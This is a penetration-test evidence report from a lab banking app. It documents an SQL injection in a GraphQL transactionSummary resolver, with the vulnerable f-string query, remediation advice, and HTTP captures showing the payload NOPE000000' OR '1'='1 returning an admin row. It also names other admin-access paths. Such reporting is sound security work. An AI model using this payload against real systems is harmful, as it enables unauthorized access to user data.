Test case 17 / 26FAIL

SQL Injection - GraphQL - Transaction Summary Resolver

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

01 — Notes

Test notes

Vulnerability

[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

Description

The transactionSummary resolver passes the accountNumber argument to the _load_actor_by_account_number function, which builds a query with an f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. For callers with the administrator role, the argument value is not restricted at all, so SQL syntax can be injected.

Impact

Confidentiality (High): SQL injection at the GraphQL layer allows retrieval of users table rows beyond the requested account. Because the administrator role in this application can be obtained through several independently proven paths (SQL injection at login, mass assignment at registration, and JWT forgery), the administrator prerequisite is not a real barrier for an attacker.

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP

A03:2021 - Injection

Scenario

Normal: accountNumber contains a legitimate account -> that account's transaction summary is returned. Control: accountNumber contains a non-existent account (NOPE000000) -> Account not found error. Exploitation: the same value plus injection syntax NOPE000000' OR '1'='1 -> the WHERE condition is always true and the first row of the users table is returned even though the account does not exist.

Endpoint

POST http://127.0.0.1:5001/graphql

Affected feature

GraphQL transactionSummary (transaction summary)

Remediation

- Use parameterized queries in every resolver; remove SQL string concatenation. - Validate the accountNumber format with a character allow-list before touching the database. - Apply least privilege to the database account used by the application. - Do not rely on the caller's role as a substitute for input sanitization.

Proof of concept

1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> the transaction summary is returned normally. 2) (Screenshot 2) CONTROL: accountNumber NOPE000000 which does not exist -> Account not found error. 3) (Screenshot 3) CIA IMPACT: accountNumber NOPE000000' OR '1'='1 -> the query is manipulated and returns the ADMIN001 row even though the requested account does not exist, proving injected SQL execution.
View source note (English)
Vulnerability:
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

Description:
The transactionSummary resolver passes the accountNumber argument to the _load_actor_by_account_number function, which builds a query with an f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. For callers with the administrator role, the argument value is not restricted at all, so SQL syntax can be injected.

Impact:
Confidentiality (High): SQL injection at the GraphQL layer allows retrieval of users table rows beyond the requested account. Because the administrator role in this application can be obtained through several independently proven paths (SQL injection at login, mass assignment at registration, and JWT forgery), the administrator prerequisite is not a real barrier for an attacker.

CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP:
A03:2021 - Injection

Scenario:
Normal: accountNumber contains a legitimate account -> that account's transaction summary is returned. Control: accountNumber contains a non-existent account (NOPE000000) -> Account not found error. Exploitation: the same value plus injection syntax NOPE000000' OR '1'='1 -> the WHERE condition is always true and the first row of the users table is returned even though the account does not exist.

Endpoint:
POST http://127.0.0.1:5001/graphql

Affected Feature:
GraphQL transactionSummary (transaction summary)

Remediation:
- Use parameterized queries in every resolver; remove SQL string concatenation.
- Validate the accountNumber format with a character allow-list before touching the database.
- Apply least privilege to the database account used by the application.
- Do not rely on the caller's role as a substitute for input sanitization.

POC:
1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> the transaction summary is returned normally.
2) (Screenshot 2) CONTROL: accountNumber NOPE000000 which does not exist -> Account not found error.
3) (Screenshot 3) CIA IMPACT: accountNumber NOPE000000' OR '1'='1 -> the query is manipulated and returns the ADMIN001 row even though the requested account does not exist, proving injected SQL execution.

02 — Screenshots

Screenshots (3)

01 / 1
02 / 2
03 / 3

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 146

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "ADMIN001"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:26 GMT

{
  "data": {
    "transactionSummary": {
      "accountNumber": "ADMIN001",
      "scope": "account",
      "totalTransactions": 0
    }
  }
}
CAPTURE 02 / 2
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 148

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000"}}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 331
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:27 GMT

{
  "data": {
    "transactionSummary": null
  },
  "errors": [
    {
      "message": "Account not found.\n\nGraphQL request:1:18\n1 | query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}\n  |                  ^",
      "path": [
        "transactionSummary"
      ]
    }
  ]
}
CAPTURE 03 / 3
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 159

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000' OR '1'='1"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:28 GMT

{
  "data": {
    "transactionSummary": {
      "accountNumber": "ADMIN001",
      "scope": "account",
      "totalTransactions": 0
    }
  }
}